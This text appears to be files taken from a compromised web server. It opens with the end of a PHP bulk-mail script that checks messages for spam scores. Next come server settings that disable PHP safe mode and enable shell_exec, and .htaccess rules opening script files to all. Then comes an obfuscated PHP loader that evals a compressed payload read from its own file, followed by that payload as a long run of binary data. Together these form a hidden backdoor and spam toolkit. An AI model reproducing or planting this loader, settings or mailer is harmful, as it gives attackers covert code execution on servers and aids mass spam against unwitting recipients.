                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$TVKD='e'.'xit';$EOiq='f'.'ile_ge'.'t'.'_conte'.'nts';$ANPZ='sub'.'str';$gQEI='gz'.'unc'.'ompress';$rnsj='s'.'tr'.'_rep'.'lace';eval($gQEI($rnsj('lfgpsoiark','>',$rnsj('tsmpvqdenb','<',$ANPZ($EOiq( __FILE__ ),-172164)))));$TVKD(0);
?>
xLWPJ?\{hNW6/-_?_Fʊ*9gﵾ??$뿋Ͽ5֝wY
GT6zsľ/Ͽ=ykm};{;og00}]oUtsmpvqdenbF/S8+h`K1£n&#{_"j:$ :N:jaHz2q滟l*ֻYP0WUkdoEctsmpvqdenbgrz6}Տ֊2a%c_\dq*GJChZ]J&lfgpsoiarkm匾5ӛ'd,Ux^i)\UY.\_}WG9oL,70sA~j	*J7`]teC菒ѣilfgpsoiark!#܀1G`BM
֭Q
p!tsmpvqdenbjp\TpsìƳqpǆGu4q(d{%-vN+ݲA}g\lfgpsoiarkSZ1+fb:/ObA,߽c2_t,-g:͂
ƄoF:i-3 (,JV\%50^-$=^-ݩ^pB(@tIxQZo@4`B㼙
Ͱg_Z߮7&?!6I/I?e+"N÷,6PJ7-zAi:Id|m{{_*q*\iKn5=rxKסPr%
߹^bBe!su?zV2v)#e$T&['+d),};f*W:{[SlUd20aC`(0;fo_"qk򂗛(Ѐe+n!:+qȄ/(PjI@\_cf
tsmpvqdenb,p+vLVR=lkALTRPSVL׿hXY116eaA/~:$8{yypxCT^-R6T0 f&SqB,I/s
4	l! j8U.uon&Q`F@W{ض9w'c^E2.05fhppֆodwI]f9vϞb7?7}B$]wk$B`ML~FJ3'&#F3\۴ķP]`OQF"RLNG:Q`)ҩSDΰmJW+8qaŊ;!NLtg/'	Mp327N^Cv_(vLu!j"እVw4/(!2kv)m~څ3W.W\'jtsmpvqdenb^?B#
⺳#9uʒ(6,CN3ʘѰ;:ҿ |2ژω7$`aJe	;
K1INZjпogDX#u4`]nlfgpsoiarkTH=QaLHU۝B"`G]9ϛOaIIE nkѨB4]0%zJ#u*NJ	f$Д7DT[(UnG'p
~u
@S|*$x-0~=xIU'@^V4ƣ4K`:S!o(ȩo&`ON:r:t±ګ^~ĈoK"Nkɕ@T]~|9vI6JH|tƇ%2lfgpsoiarkSTΎ@Ig]33tsmpvqdenb@0}..18k]Hj;׵zW3x.U^9D|agqOp̟9+W	lfgpsoiarkQpIIկFgff|Q(-ubO}T
5ȻZʅ^9ZU-D& c
Ek%_̿'M=coMY4"\֪$;E?_,lfgpsoiarko.h]oDh$.g͈4_[}6{]l715LŭlfgpsoiarkORqUxQY"m5qC#گlfgpsoiarka$NjaK9ftsmpvqdenb8.2D8Qi(s	;:gK	E4t~ȼbDZgt7R59@EC^5=Ӭؚ(~-໯Fw!Ae!)+ʴżv,^ߎYsOL:M#(XlNsCXq:3u7RI#J7W`nx"5+6 1^ZZٴ2cuC@Os}h^	ݰʙUw[Їf^C=@m*G9y"12G2(ZIm\Yq0*=Itk)TLl.4|!& wϗn[T З*wG^d\ҡjtwz_ׯ|edp)GBHzmp\L[BEzXT14hz,?nhT8w|W^jE"E 55sVtp6\v\C9F/^5A3+HZ&[LZcYsqGw}[H꟎׵DI'vT|k+sAzz%)qޗmi8jDS~2Tѻa­-RI7tsmpvqdenb 
hw{NXDz4DI.htsmpvqdenbMVoh/ GYz~=Jƒ[JҔlfgpsoiarkx}6Ժ՗iqI蔹(~b]tsmpvqdenbdx{AUẋT0MåBeUխ:qzk! 8X5΀Ŋ
ٕ~ZN-)8fxgz5{Feˊ n2kLN8vmyo)?#BWytsmpvqdenbQ.zg/U!tsmpvqdenb+L)BOsX.ocFfb_1AF~m
#oqBe|,IGUj-LP`lfgpsoiark 6,.oq Req[XZߖLrftH±OHlfgpsoiarkwBlX
8'ʙGQ|Un/Z+j(Vtsmpvqdenb:Xe
6+Ruw-@)|H}*K Q,m)/kDlW"ǵZ:[u*gyMRU`UjMâ*1pWwUِxOdlfgpsoiarkS	x)8S{s
"+h8'T~r

sTM4V`QUBxlfgpsoiarkS5;TIV+ҊO&}KAP'{Nd苢FZ8ZvWT;N[(ydŖo~td%ŷ47Ӆ`Ϟ03u~f芧ZBHZ	t$c~`K`-?U|bl%plfgpsoiarklHofoѯّ\ST7^j
]F^6٤l
q) z;j^Wv
Ր|t&?ld*
هb3~׋FlA)aEbz-ō1e`li*0~ tsmpvqdenbbLT=R_OTGH#ɣ9oZ3@&zOi_|M${ƯV eҁչ,pVm{gWW׃4&-
G]#6F3X 
J$D:a$ä	zR3,oD틭H{^kz y	gEO`'6@)ޯNY~=ΠTW6JL?5;ƻ!J	͓d$рa s.Bg tsmpvqdenbU*мdW5Gb.vf]Roӂ}X~8*$C5?GL:[m΂_0[L)#hR71L
D,ÿ }*n6c{!RT=x
nV|c_$-sS۠&!@(tsmpvqdenbìvQ#:wt#hv\HodPm
1t𗑥Å/e'%~T[t]vtsmpvqdenb	E!VK3S#%@K2GgUaݟӿls=iH2ξ?S
˹x΄#=|=1NkO;Qu֒]pZt*tiv3p 
௦O2b:)Ltsmpvqdenbl@O/I%~#3RϠXYT]'Чk`;5mQBo-n(SR0cܯ-0?\bKX3~NZ7
{dIQ}iwʍ~kJvJrPJBlfgpsoiark'٥x(Zvmb=~Q~/֨'5H޷^ʌ-waшetsmpvqdenbh8=NK`tsmpvqdenbtsmpvqdenb_ClW*T}'倣 ܲ@@1R+nMV-+4l2-g%J&PHIX[k"b}6dS0S]㺀4Pmk)GuxR*ڊ83	3J#]gFlfgpsoiark/r k
aoi闝n2j#t.^.
ИēOIy|li]Ofc^"Y[?iFѸD?W$	pW;#+Y 蠻[R\^곏a{QdbVPz^xcieT%4z|k?
SEtsmpvqdenb66_?}kw+`z+43/Ůq#l"ӯ{DMf8YDW*[)0kͷ
ulfgpsoiark/GW=hhxX7|lfgpsoiarkа
Ń'
G00m7T9p(&5FZ䇾DmnC쏉znue oF}0ht-W%#
7[$r?QIvc,ǑPyx,!n0ͤFh;?HQcDD(wTňE*-G؉|ѐg
*=OA}pw'?0MFtsmpvqdenbua92|d Dʔ˱$4=y'``[Ԛٸ=	͙_'ݖUFK"mtsmpvqdenb,@# ᏕX,P(D[yq5Y/	Ab#帹N4t˦5|F|~pNNcE7'[Ȉ/Bʌ8}cVsۊ/~?`ңLf`]5XN[V^3%p'aM$6}6f6&cQ?hHtsmpvqdenbCv_Cw=ߡ
cN힑c$ NwZd?wK!_]5stZ[ q Ti+$#|x໎Jc6lfgpsoiark@:9ʘW2e\~}p}+IVڒ_WɅb	;	߿ȏ5Kj}\jtsmpvqdenb:62PW
 B{J
zlfgpsoiarkVT)}T!imXʣvEtsmpvqdenbB?Z/\?llfgpsoiark SkT(t^㴟9 qNHU^u?]Ml1O5{j#bYdg"}| #ŋ`ѻ񑔟egBtsmpvqdenbJ_3jy5ؐqPeNY?JtOXJiFhLPjZ"!n?{R-Vp(_;t:=3Ͳb_pteǸ\tsmpvqdenb)AΣJJ8~]oW	Me0;Qt@4 f.Rkܨxq@`~	(|}4M^ޝ핓;II%E]{kIQ;V"
(;Ytsmpvqdenb=(#gJn!]Lе2?eJշ/X8آbCS`ʬ&L ̻
\oMY)ǭ{Tjޫ[eLFXm
O5n)2@m@FXShjlfgpsoiarkyz_!\ir$uĖAGɐ.ʺ6yL(	P2){\!E̼4#S3yYb?lfgpsoiarkW:5qc?_`@Kmv!yt)=^tsmpvqdenbH7W3TTGwʤ r,X,yndwd2Ex=6%NjRlfgpsoiarkq VD8iNӖ-L9 &тk7ǰF,~dƓnecE_Qv.)g]Ziys-r2pQ69ƶP Y?yKR7֕N!rPNI$m!ZigBP}tuS&/tsmpvqdenbO? ſڋ|UHXV.n.E6zLC1an/BhОD?YXq'tsmpvqdenb!"-p7ZIlٽlfgpsoiark!tsmpvqdenb(:vL![FV[{n&iEnAW	g0t͸V8kYϥqVr7 &fFl`R/srr=Ҹitsmpvqdenb{6~Kb85dkT_AI_1"zYӇhź03&ɪeLn?1WYڢpH3hclfgpsoiarkRIZ-~^3Հ6:&8sTgtsmpvqdenbg(xK~#Յ|FP0_Uҙduv[Vc@
ֲn_Ͼݵ|"tBo0TǠ4
Aؘ+z=X{?F v$w|*a*ޘ MD)`?M\4*+OfSiU i6
)a J|@~.H$LMDzdN .]ڟ}~l.Eyl'ja-180.^vYĦ9Xܽj/5Xz`G
ZsYCy2uȃҿpft)ERI
 ȞzT ևZIYQQgvFp/5fAZЅY췻K;nA @H-_Cja'370+}  ojHf{RM"6bklfgpsoiark1.Ly6qQSQ-$)Ӣg:k!=?S3Ru=+y)vzI]dqCMʢet	*GĪY0䍈Xl8W8(&Glfgpsoiark\߇WKg1\7}J:; ;a6믴R\|3~_b/[{+Na%=nv說ILv-,eJ
L"H7(P1DJlfgpsoiarkuQܙ&Ke8UP(sfkG7l6n7i
 Ur\@e&VLҲ^* ώFߟr)3lfgpsoiark9x%v3wjj$j]/ȵ1';6o,)k-H+ @|'?lD==K @Fi
 pS=DlfgpsoiarkW#b=2G1.½u\Mz!wueLl73
r,y{6U+@)m#&R߫W	+plfgpsoiarkJ*ld=q:!@dxe6'bR0+t&WFl@I
S;t^E$Ng6nmQIbrM_/=tsmpvqdenb Z*2
ت཮P@%5⍞ #l\:ŐV7]SN|7F]
3lfgpsoiark#.@s:SvUP_}lfgpsoiark4ϦnEwڣ]kfJj@8;䕇rpǥ $m2-C(Qy6q4+nSG#
#RWKkK9ɎVmb[D\8xutsmpvqdenbtsmpvqdenbF6Q^ƯöjVJK~=9
&lfgpsoiarkM}X@fHPl&s7CSL	}M7?Яn;lfgpsoiarkKRjo3,UjH
#gLG]lfgpsoiark'Ǳs6"9ƈIqҲnxֵUc9Rfl/`2:60C9u5XmЁ *g`oZ3r]W 1i("T	Px!)9\P	tsmpvqdenbMMEʹ$tsmpvqdenb-9Fy#iNǂRr}CK ݬ[D 2-!}أvxHsn0kW
Mk%޼R$b%*8Y.?Ex{"١5$AO{FޔG{'!&K(`e
T
92bߔOp2lfgpsoiark7EYtԾZZcvYBP56Lē
&
t\3@K)Wj	ZnǃPtsmpvqdenbղlymV\ VNHtsmpvqdenb~}*M1͍k` rtsmpvqdenb*s)oTkBQOgt^&S1`E)qtd82Z{1+ѡ'ElfgpsoiarkVH:9Jx$@K{w.	JvӯU8U?քg9AÕcxjY˥^,PV0xlfgpsoiark)Rx[6\DUd9{ZB4r6c T䫱88_Ƃ]%lkJ ?@KЇ
?`5ʻ.rnlfgpsoiarkx(Uk:s|T,%k/O 8f[&2!	︐Li@*Bjlψ.Dɷ~8ڋgb®lfgpsoiarkoKtsmpvqdenb`g ~Q;{_\(a|*@߄e^|%)%(c-^Rܨ޽Mݔ\esJe6E	M(3 .YiϴIKUl^=/#0JM6B椁#DjT8zY~䇫ګbRo}K)/p*3'gE51e%sT1e{{]&pPFCٗnz:ח(6ɉ!azc;a`66:f{rlfgpsoiarkgxtsmpvqdenbG'B:6OohIܞ/M;! 
I'2Bp4sK6^&-24)3Z]v]dL$Ǵv#_htsmpvqdenb҆]ttsmpvqdenbfBgB_Nū@C&:PL~NWJEꩁ]2`ִ5]j
.~,ֻOEtsmpvqdenb:~#L3&Ź\߰)GLoGvm1G'іOfRr?lfgpsoiarkg+/lucZnhR4_k?a{Bj5xlG9 KEr8aUiF9vMVEWt=%u욨F7njqx0=\
)yX?[TPEXEhԑcY0s~rD|I
}3q8R2Ol@B3Td3yk_aИi٫LΨYV!#q&bFiWCGAD!f7pu\	 vEh5QS5nyb~~⚸퉱ǁ|0
f1O1YQޱrYQ6b߇=at|?zi0d8Y0.Q03{:E? %^&vD*4`Edթ&m5)sv[[OO~{lfgpsoiarkAil_FBKg@sO= KkN''?*tv	⵺[1ĝȫF1dѪηAdjtm1dP3i,
`.NzS"I[/{],ppLD͈
ИtJ!dA=`ǷcbtTOըȅk-uCdFqc#2{zC5"`BjiBR㍄qyf6
`Aƞb:@{@B+@+r\dP6}ASy '$rcnGݰKLo]U-nu$K]rk&;w_S5O!ӭdrVU-i!pڐItq`lfgpsoiark~@Zq岳ulfgpsoiarkD8;?eT9/J5|gPOK:`á|4*JwP^szNe{(2j"V},E@ɥso쀉C7!QL8)hwy(O*(dƇ0㕏`i*6)@̃R	[u"Lbc#tHk)-0% 7g#'UEd篆Bwn)~-qo	B.+ҙdq$~pҥvĐ|-P$6gq-PoO=n\:3x1,FQ/-wToLyߑI
i22~5ri}d"jHгP?/|pw^{?=yJ]~

/yQlfgpsoiarkm0ۤYϜ|UxD;*\F6l |Z"b=l
JjaYGsG?솺^zbl~L_Cd&.,@O kkYݶ	:mmKԯT2)
PZ5/{v/2tO8깦TFTZDM&%;0:AH \)ۆ`Svp,Ax[ā{AZG #tsmpvqdenblfgpsoiark#w{M{e~ʧ=P1sɞ?8'Y/if V9ؾ]
v(`?Ot&p/	"xîg$v/:[56b]	dx]RRɖc]F~b8/w
oAR3pŇ-EΞAo]2#**\K0uG;]Rק=喟91C!G'7&)|	k~N(
}kcͳ7I	mq/5Sk;=Wv_QW))x%DHx);,F[-WVTr3X2_cӭjLlfgpsoiarkawwpa]xY]ȖIQ `_^-3'dL*w\V+I{t|~S͕22)^]XuEO~
[9f߽C_쎎A
lfgpsoiark*	\1G hG^
Z
CSxZ
ף"_ajuOcwCaѳtsmpvqdenb\tJ'0n,$Nm YBt͡3ZKH1$ti1L1
6@6"%'UD69Gz(LP^
=ltsmpvqdenb,b/z" 8ji'N :FU	m	yO5d*\ڿBB ͗tsmpvqdenbMKLH"Fs4mv_C@h[j+*	ixUWioyFUM;*N 2`N:Zz d|ڦ7W"ILKl$-VNo}&,CըY,YJIFZ)Vz!(p
z3;KuܡLF"lfgpsoiark8-wN-9lfgpsoiarkCFaW%غ,L m%).IЁpqmyӽ	V+Ⅰ^XBnlfgpsoiark@U0qdI*'l/K!}ao$lۑWָ~nD0iuqn%"+x%gT FCj#gvo[ڞ,fx|*y
k|ҧ~MbK'&?"=Za@`-'rMctsmpvqdenbS:HE_CQyكړtsmpvqdenb8P+38H'2Wj.beVn{v ŵߣT0{/.Six9."ꝳ}E@=xieji#LZ_,Xf@%cv*08BtsmpvqdenblK6lfgpsoiark1}^v|a $ql.!^lfgpsoiarkög`d'']4+$SU!fP=@tsmpvqdenb=1.zA3llfgpsoiarkֺFװa
PK-JMfjѷ"&fɁGlfgpsoiark
Z	a*	M'?'Hᩤ
YC,rDw;ĮPk|FzETU]!X	TJT:6(lfgpsoiarkҟq(kU:V9V	N#. uF N+G'ۅ#u$=BLPF/TU:%s4S ZK[Nu/V؎4%nN3q]Hѯ+z-sd/;,bg_N
Ɛ|űO!O?'wF/MڟI#~ZC~rtsmpvqdenb|5a,vm5lfgpsoiarkG%lfgpsoiarkެ	q /n-reժ75x$f}W@S脰]aOCek
:.'_Lc"O[t6fay
m
"c4	cÜcQq՟`eS
K۟IYE[+O]q47	lfgpsoiarkѯX49\'	ZC*'HN 혯sO@Q=Qp=l
tsmpvqdenbqgq=7=̃T%Qυ4tsmpvqdenb,HtsmpvqdenbҀe|xǍh)'ۂ=[J^hSO-͕uH25!\mqlfgpsoiark8mj*lA7
g'2˻쪦@Ig_}?N;qB(
4S  s{˸_aoM_"[Q^V!W r
[[jNtsmpvqdenb;=˔:YI|@o%3{7(v(ӯ\]Pa=__ N)Аv\ղ^ Io(P
4;8ktsmpvqdenbk'NGB3potsmpvqdenb}&=/HTHaڐ%r z]g|'۸@}sK`]ɦaSږOL+L't
鍠mݩ.\؃(Įlfgpsoiarki]
&lfgpsoiarkEG(R~NEoiP4}eH(c ۅ	̙lfgpsoiarkWbcȟn8ç@92E?r߇~ۋroNU_639Ն=㲃1(X QV[&K	|p*6ѪQoT0}3\2*uYK \ZR[E@f[99&&$ڲvn9}gq
%o!Ev9鸈Թ=oxȉBAC|ܣZ%B{9=psC&H79tq)cc F;[t}2ѭnd*fe+}p`?udCH	/GlYޑR,ԠQ#II-aR+	7+}pPDy$2pB&"te']_?`=XiDԾMe`mŻ@~:߁|w-UO:F3~[
ܸzx{ԀWH@[w jYW3dpTMȇo~?1IUT#
htsmpvqdenb0MeGcf֯{卶~	ط	A;fc'W"M2:HÄWm	IEoEm|AjD}EF,VKĄSU[\A DwEŢ`@]XAh"EѫA?'NDLKE\	o~;X$@Kߪ=tsmpvqdenbh]ǻݽs$pWhڋgi
Tglfgpsoiark,V㹻o1	87vXz&yh~:J5Yapy~ygG7x`¼i'\"t荟U,pTL}7@dWdӣJTM
}6nqsctsmpvqdenbI*F܉ʨ#s!j?q})@gb&WGW7'jLTlfgpsoiark\@
őeLjuW&`JX@a2Tĝ)lfgpsoiark|Z\B[UOÍYZ!d~r(/ڢ?8Jn1v0ܾlnB1;IHCjrfA`|'Ïzlfgpsoiark,l֗s\Ŏk,
CUh\O!^ܕ/I1%B%nRJ/ͲUHsdqЂ+lfgpsoiark0LdL)U56"р!J^1JGUN;ʫ4I$iz&ɽ(Guwn`dELLuW^zymLA1?ZtL-T9p|TnFEЏ4PyR)Knҽf+Yᵛa^_O
0U
E۽^p
Vb~UgmuDiG-m`cJu0(?JۯOQQ*Vi77WhYГ~p~o0Z7-f #	~|-
0yu4	{H%HuR.Q,7Ǫ7k5h`\+#%%M^8V_Tğ@X=638Y~QLi˪6碩;RK}4τɟ5xqR:y_T-5w8SxYbTᢟ7 @'(_o3q0-Z@s:%.+:x\9§W2SQ/?5%Z9N:NYsx#4خB)TEGG%aUjљNjcvDOki|kQ x*zwBpAGzFez"JX#%iJyv)c5P Lϸf_OYFz^,#)
@#j?dRQEd/19sR_L,"|*zj	~hLmn8y&  k@IehMjaQhV
:q\*8Jq+
t)HzOmsXtsmpvqdenbzghgž5s9_&3-X؆.YfETP ]1}+6+؎qMY
7ה= ל9tsmpvqdenbVꙌnM)&Q(lύ7OlfgpsoiarkLAL93!\a/1U.VxXJ[/,[0amk4HtBؗec#/o,cиCe}*j$ϏB==^Y{,Ag%sǽ6p1PJ1
8?'rݏd=jfOS(m5ds+*W#^R5	f	qE-/ޭ̯˖Ѕd9z=I2)Ha#wIlfgpsoiark2T`ؿ NھW?:
/͛G~n,&"RYpgZ	Fn;iʎMPt?y|G^;fT=rEZ;@^Kh[MD	[:A!uA/ɳN
Qa :=_w$
3ӀFwtsmpvqdenbXӆ"t+?Xg8;Z]ugg _њթ7n.-khg2LW=QcC'][ó	LKh)ܗlfgpsoiark[42y^nCm.CbH/{DT!10LKU VWL	8|G"@do^ x+[Dal"ohQل6Fk IhŁ͌ ~#N&FL(
 q
Vխ(#}zD8tsmpvqdenb%򙭮톾" *yȃtsmpvqdenb6&6ÚP_%jcf;"r2h.yTʀv)+|̤ܓQ]V*XZ^bz	ڨEL1CTKה|.cSY/IUEzEɞ?綥均&)ߖYlُ+!([FltsmpvqdenbujX[TW~a;S=+lYAՓ!\8	suh	Nw:b7J%htsmpvqdenbD$5Vt/_GiLeb61&ص2e}3.̦|:lfgpsoiarksK_hd$IӫG͞=pVӡݫn^^yTku
}$G8@ΙFuzwNN G.ҵl&"NJ7qh?ljAUElfgpsoiarkq OX7.NR.;LfHf$ȁ[}0:ϸp,jپfݖ8a $&AYKPfK R縴7#8kzJ]5`JC+1a) 
4lfgpsoiarkfn5! /bqL%WI
^_(2@8c`A,2@_n{Xf8@'0lfgpsoiark~I߽gx3X;4;NѦja;
:6iTG߹$"ymaiq48vy% NL16O6	HxBs1W_cOUaOAsH
7H~O}Lw(%)lfgpsoiarkDR
tsmpvqdenbhS'RE
#F:ǒG$HvU來ȜTݫf8J|uŔi?Z#6Ud{(jH={uu~9A
ò!ǯ9E^I+R[k[4yel!ST߯o@E7cA1mrn7*iȅ XI0t;
|2?w6WV,I+ܿL	:tsmpvqdenb\sB&]x=M,ֽPowP7dmQNP1/}$̠*٨ၢ,{tsmpvqdenb{LO4i	x2[@6,Gu_7PZx[rK[ׇ3zmbzzY=;PǬ?i%=lM2!$TROǮxG BB)z|#յq^7ħWE!p6 8C)mj̯ sttq:]e槸lfgpsoiarkqm2q_=otsmpvqdenb/aXAdiA%)tsmpvqdenbi^s-]a#$]#]*jNjtR	sˆJ~Щyjt!uKf]˴^7ЛڅrLŊWp35Tǌ8.4qߌۦ	xc;,|SvjFYqYAҥҽ1rM?"ˁn)޼TlfgpsoiarkI7-xqb饀t%)1lfgpsoiarkЍ!s=!^cioVFTH#_l4P*JlfgpsoiarkOb~)CBi ?c'=t vdMP¬!GdS*eG=)KuZB#=.4qکVK~	sQ_*54Lӊwݴ8_h\	d'czHjCtsmpvqdenb&&tX2I~bp8*KS_;BޢѱQ+6O.)4?1(dU|8xY,dne`yv3U)ψ"Gv!Ij4`hgO[l48O^ț
ʽϗػ5pSğ~tsmpvqdenb)}Ba-P)Ree@2K1P -P7ǟPmČ5H-͓%~tsmpvqdenb):fΝ^mb+Ļ"c%ƈ#?ڮeI&`qάXO#gQlfgpsoiarkj1tsmpvqdenb_.0_|'L3%72D_RJt{	C'ݺ	Wf/
PM&x-8_ntlÆX*s}~Zsz~Plfgpsoiarkk7]'M(yW"9tsmpvqdenb)qӣ;_j}"6+} @ۚ_EŜ/Ah&f?*olfgpsoiark}Ilfgpsoiark6[xܰ=l-(\"a0
a1:6o 
ϵtsmpvqdenb7|Ē_=ߕ*$+ɪKOH-RQߦc:싽vcll_H/s%'55]I!)$.-qbo1S↢܏p[@ge
4elfgpsoiarkB(v|R@jy&񨥏X5B,,C	A;]`5cHtsmpvqdenbЈbnI|6?ug"@ZZLG{V߲rtsmpvqdenbfǲ#B.ǁ]xAsBeG6wSqJlnF"N6c^̷E[XI?^Se,ug#z[Ee.n5[H!
$c|*Ä	H-g{56q!1&n_FC}'~8ECb;5kJ}zOn߁b`BN488f7_$
28Z&@*d-p,lfgpsoiarkGA̔g
RU)ӳi2*o	`EXG%Y\Z~T|%;huss(lOTH#tsmpvqdenb-f˗Y9
Xx풁*-"8~4P  sc=ow`SjD?ߐg;cXnr-ی}EJǧ~XGghFjطƫҫPě,=u۬6uGlfgpsoiarkK㓍	o+"QO?^wteLx(6ݹ7UZc*J
ݣ
 nC0tF_1X֕}?tsmpvqdenb,Nv2QBOiDA:ʞlSʹ^Flg.sJe BN0otsmpvqdenb;(uPLiYKr; #BvUwݬt"YPQxN*
0%iNi;	8Mbk\v{u;G +GGଷyP2Gs8*PR\_!sfxqvlfgpsoiark@PG:ۋ?DXp0d2.bH|y_ݚ~a*ȵ_Ty&cQRV){tsmpvqdenb5A^،χe]fJss{3wxitDwPtܬ{cgo/FV%Ϗ*Y?@Ltsmpvqdenbf_%GuTbkqއэ|\ ,A򉰛ɜ}?K ]TZe\⃵^+]2;pMtnb8BuSO([WԻ}+ _LD!qѽ(/o;
tsmpvqdenbc]ajRlyb2$ĠZJL}SW&ODzS˳Γƾo* I}zKLtsmpvqdenb% g_TG\U5wDi¯~w(qd41巌)Ҷ:D0Dlfgpsoiark,+l\qrRb|g#Ubf&E@  Ip(3c3ڑdA_
8G7PkߺA+
u;?MXe.aFlfgpsoiarkW*K;H]J 9̕φ	h;^
$	|96O$FO`uª	NA7n	$ wy,c%eHnlfgpsoiark{2ƂBu4alfgpsoiark64$oýGT.FmX& s߀JH׺!4uSFdÈ:xʨáp6hN0m
fј2pg$iwe'=prmkZ͊eX(k==& ˵uaN#8zl?UtHyﮍM=hpU&#Ј(^ݸgrN'!6!Yۘ'~V5 5YWn_֨I8o.	pR?hw+tsmpvqdenb#誜ZfJK@
hs෥Х(tԞv@&[4|;69r+.vг G+|H|[+(t3tsmpvqdenb-7CM-#Z*mzO\u`wfWS	X8;+ݼiޮK)Bq{VR˄
IX:0z\IfYI0ʡ*z/mFHeJj:{ѷd QJnw9\7/j#xp8Vi ڃUq UܤMeYfSo6F1˅A`=6P-(HM+Ea_&P8OXGԵ@8$\ۥZA`
6k~J ς_{8Ob@'V7Řđ|H5#ЇeyɸlfgpsoiarkSr$ϥbYt,e*D~$$i%`d߳
uDSmi'p7\Pe`Ҳ"Ok|P)gF,#""C |?`_4uQY}{z-F
EKKLS"%ژ}Mvo#R7Yʎ{@fW;M=qlsZ5hz)c yj*az1s_/_Me: hhw5&gdOK|mGZk^yTOM:eXg0hUOe3 "\ЛǊtQi-&J=0/BĶkj7ty^S^ʞLӂRG?U0mJOBXf-lfgpsoiark0lZ@Wnrf'l0\]@ztsmpvqdenb^?
t)B%F}Q MlȾDI,lfgpsoiark{c#e+plʼK#Q?1F,OvyαMߎj(~KM͍BwMR%uŢtQj}{9a+Elfgpsoiark*%e䅧?{R`7+Cfm0EAقǁo:c|km-2ZΈpe4Ƶy! O!jxdbw*M8IEͧfp$a~ -9UA`(emdGר#@e#cO
rWlfgpsoiarkhI9nltsmpvqdenbX+mb^^z\*xvX3&V;jҡO˳IJ͇
F-o72q2!7PPi4iCnbԑ
&%1rP ,ME!֋4ѽ͆#y~i_t;ttsmpvqdenb8n"3X
tsmpvqdenb"%ʮ41L+ZNܚn,RtsmpvqdenbAH|TNMIlꈔ
R_`|!+\*سOWfUxH7UHer\+COZw%
U}P̷f!!
tSSgZW\A5&*wY_Κ[R\~|*dxCКO}u  	4wwj{p^bXVi!!FgoZZ/PyOMҒ=q+h?F3ܵ)U#@!Îd\+st!tsmpvqdenbq_YnQCw{O4Mє\st8ԁRFYx\2[݇CDw@8f.&z3
]x- `m[@pW.Kg!ڷ?g&Tc~9Uu~dVF@msSV!(Uډ8f!ӘF6E#xhIMulfgpsoiarkt\@r5\
?=zU?c6~q
,휸xn	ŲĮSP+˶I9-[f0|ÈW'Y !/D)8! *9S+53.8E:H\[Px_Ũ 5tU΄Sr)*$f;pFNsȬKc5O&dŽXc.CΫ,iGO"-	U.C|fJ,t3	!#1xa8%Eyrtsmpvqdenbk7EEH,K/[3tsmpvqdenbR3=g
#s
dkz}i{G6 vB	#l#RdaN%b/s\ˀJTƟA3?lfgpsoiarkON۵,_(	йM=yB
(q%4Yz	"PC$eFSIlfgpsoiark"v/|taz!`X9)=Ͼl8\?h)'HMY/WSÕ"I#(1j߼4Fgh7z[Q
Ȁ\?8Na{NܹA&N5md"jl@$)pM:Q	aptsmpvqdenb5bytsmpvqdenb]	XR`jyIDMX)i+euP?}z!K4wz0~^g_{)E`w&L{;CQ),&
!,,(RW+A5jd  ~@+h2v~ׅ!\O- 52mRHbΛg8(ۆ5WMsQeh쐷8}Zg 4/Qx{0nBpEҷBb#uvo'lfgpsoiarkđ@h^O6FrzFˈjب/.q~8CAR7ɘm	_cJ̴Sbptsmpvqdenb8&V[Hr?a:U!B	QLc~f~DWҝְ/Q	KrWtsmpvqdenb!*)}	ȼSf?d9K
`񌒦1⼁aF?Do[lfgpsoiark]"H1(Whx_,'|[?x)iY~c4ZT=P1EF5)M$z"#_8
z`)mgck,̓	}XJݚQ3r(N)MlnYQvXyqQ!*6HV:oG_YẬl]HboI|`G[6Io+7?.vIzY5ӷlemVAs=bQ_TJR?Y;y&.'j~+w$2{p}k "%tsmpvqdenb}vxtsmpvqdenbJ+#s2  \66vVh`ux4ש!uNu?枌;W
/)L"7tsmpvqdenb{!k޹/ro^5^{|JeF)BtsmpvqdenbtU+z}37DN#%xHYϥ=y6"JJ,P|Grǻl##O!8=،ӅW
ep+s@2%@c"^rbQazܗEvR+2/!iطm~qц%7-+;|xUȠ4%:W-jЯu]9,PhY@sEg D.Ka;fBS=7b4(҅|zwi [dOTN
&zt_" S}s.Ȑ-9Rvl-7l?#sOʟ 7nT^Z`*(O*}8O@5f)^%h 'ҁg]o*	O?sȐ+WpsϚjw?b
gېǳ[!./K8!Цp"R 2EAιGe1}IC{4o
